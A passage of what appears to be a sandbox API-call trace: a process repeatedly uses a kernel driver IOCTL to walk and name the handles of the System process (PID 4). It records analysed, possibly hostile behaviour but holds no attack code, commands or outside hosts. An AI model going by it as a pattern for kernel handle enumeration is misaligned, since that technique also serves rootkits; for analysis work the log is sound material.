KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.157] PsReleaseProcessExitSynchronization () returned 0x2 [0064.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.157] ObQueryNameString (in: Object=0xfffffa8001fa5900, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.157] ObfDereferenceObject (Object=0xfffffa8001fa5900) returned 0x2 [0064.157] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.158] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.158] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.158] PsAcquireProcessExitSynchronization () returned 0x0 [0064.158] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.158] ObReferenceObjectByHandle (in: Handle=0xffffffff80000894, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800250a550, HandleInformation=0x0) returned 0x0 [0064.158] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.158] PsReleaseProcessExitSynchronization () returned 0x2 [0064.158] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.158] ObQueryNameString (in: Object=0xfffffa800250a550, ObjectNameInfo=0xfffffa80038f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.158] ObfDereferenceObject (Object=0xfffffa800250a550) returned 0x2 [0064.158] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.158] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.158] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.158] PsAcquireProcessExitSynchronization () returned 0x0 [0064.158] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.158] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800230c700, HandleInformation=0x0) returned 0x0 [0064.158] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.158] PsReleaseProcessExitSynchronization () returned 0x2 [0064.158] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.158] ObQueryNameString (in: Object=0xfffffa800230c700, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.158] ObfDereferenceObject (Object=0xfffffa800230c700) returned 0x2 [0064.158] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.158] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.158] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.158] PsAcquireProcessExitSynchronization () returned 0x0 [0064.158] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.158] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002503050, HandleInformation=0x0) returned 0x0 [0064.158] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.158] PsReleaseProcessExitSynchronization () returned 0x2 [0064.158] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.159] ObQueryNameString (in: Object=0xfffffa8002503050, ObjectNameInfo=0xfffffa80038e5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.159] ObfDereferenceObject (Object=0xfffffa8002503050) returned 0x2 [0064.159] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.159] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.159] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.159] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.159] PsAcquireProcessExitSynchronization () returned 0x0 [0064.159] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.159] ObReferenceObjectByHandle (in: Handle=0xffffffff800008bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035a3a20, HandleInformation=0x0) returned 0x0 [0064.159] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.159] PsReleaseProcessExitSynchronization () returned 0x2 [0064.159] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.159] ObQueryNameString (in: Object=0xfffffa80035a3a20, ObjectNameInfo=0xfffffa80038e6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.159] ObfDereferenceObject (Object=0xfffffa80035a3a20) returned 0x2 [0064.159] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.159] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.159] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.159] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.159] PsAcquireProcessExitSynchronization () returned 0x0 [0064.159] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.159] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800bbf0f20, HandleInformation=0x0) returned 0x0 [0064.159] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.159] PsReleaseProcessExitSynchronization () returned 0x2 [0064.159] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.159] ObQueryNameString (in: Object=0xfffffa800bbf0f20, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.159] ObfDereferenceObject (Object=0xfffffa800bbf0f20) returned 0x2 [0064.159] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.159] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.159] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.159] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.159] PsAcquireProcessExitSynchronization () returned 0x0 [0064.159] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.159] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002350700, HandleInformation=0x0) returned 0x0 [0064.160] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.160] PsReleaseProcessExitSynchronization () returned 0x2 [0064.160] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.160] ObQueryNameString (in: Object=0xfffffa8002350700, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.160] ObfDereferenceObject (Object=0xfffffa8002350700) returned 0x2 [0064.160] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.160] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.160] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.160] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.160] PsAcquireProcessExitSynchronization () returned 0x0 [0064.160] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.160] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034881c0, HandleInformation=0x0) returned 0x0 [0064.160] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.160] PsReleaseProcessExitSynchronization () returned 0x2 [0064.160] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.160] ObQueryNameString (in: Object=0xfffffa80034881c0, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.160] ObfDereferenceObject (Object=0xfffffa80034881c0) returned 0x2 [0064.160] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.160] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.160] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.160] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.160] PsAcquireProcessExitSynchronization () returned 0x0 [0064.160] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.160] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80023577b0, HandleInformation=0x0) returned 0x0 [0064.160] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.160] PsReleaseProcessExitSynchronization () returned 0x2 [0064.160] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.160] ObQueryNameString (in: Object=0xfffffa80023577b0, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.160] ObfDereferenceObject (Object=0xfffffa80023577b0) returned 0x2 [0064.161] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.161] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.161] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.161] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.161] PsAcquireProcessExitSynchronization () returned 0x0 [0064.161] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.161] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002524b00, HandleInformation=0x0) returned 0x0 [0064.161] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.161] PsReleaseProcessExitSynchronization () returned 0x2 [0064.161] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.161] ObQueryNameString (in: Object=0xfffffa8002524b00, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.161] ObfDereferenceObject (Object=0xfffffa8002524b00) returned 0x2 [0064.161] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.161] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.161] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.161] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.161] PsAcquireProcessExitSynchronization () returned 0x0 [0064.161] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.161] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002261d00, HandleInformation=0x0) returned 0x0 [0064.161] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.161] PsReleaseProcessExitSynchronization () returned 0x2 [0064.161] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.161] ObQueryNameString (in: Object=0xfffffa8002261d00, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.161] ObfDereferenceObject (Object=0xfffffa8002261d00) returned 0x2 [0064.161] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.161] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.161] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.161] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.161] PsAcquireProcessExitSynchronization () returned 0x0 [0064.161] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.161] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002173f20, HandleInformation=0x0) returned 0x0 [0064.162] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.162] PsReleaseProcessExitSynchronization () returned 0x2 [0064.162] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.162] ObQueryNameString (in: Object=0xfffffa8002173f20, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.162] ObfDereferenceObject (Object=0xfffffa8002173f20) returned 0x2 [0064.162] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.162] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.162] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.162] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.162] PsAcquireProcessExitSynchronization () returned 0x0 [0064.162] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.162] ObReferenceObjectByHandle (in: Handle=0xffffffff80000900, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025aa1d0, HandleInformation=0x0) returned 0x0 [0064.162] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.162] PsReleaseProcessExitSynchronization () returned 0x2 [0064.162] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.162] ObQueryNameString (in: Object=0xfffffa80025aa1d0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.162] ObfDereferenceObject (Object=0xfffffa80025aa1d0) returned 0x2 [0064.162] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.162] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.162] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.162] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.162] PsAcquireProcessExitSynchronization () returned 0x0 [0064.162] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.162] ObReferenceObjectByHandle (in: Handle=0xffffffff80000908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.162] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.162] PsReleaseProcessExitSynchronization () returned 0x2 [0064.162] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.162] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.162] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.162] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.162] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.162] PsAcquireProcessExitSynchronization () returned 0x0 [0064.163] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.163] ObReferenceObjectByHandle (in: Handle=0xffffffff8000090c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.163] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.163] PsReleaseProcessExitSynchronization () returned 0x2 [0064.163] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.163] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.163] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.163] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.163] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.163] PsAcquireProcessExitSynchronization () returned 0x0 [0064.163] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.163] ObReferenceObjectByHandle (in: Handle=0xffffffff8000091c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025eb050, HandleInformation=0x0) returned 0x0 [0064.163] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.163] PsReleaseProcessExitSynchronization () returned 0x2 [0064.163] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.163] ObQueryNameString (in: Object=0xfffffa80025eb050, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.163] ObfDereferenceObject (Object=0xfffffa80025eb050) returned 0x2 [0064.443] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.443] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.443] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.444] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: 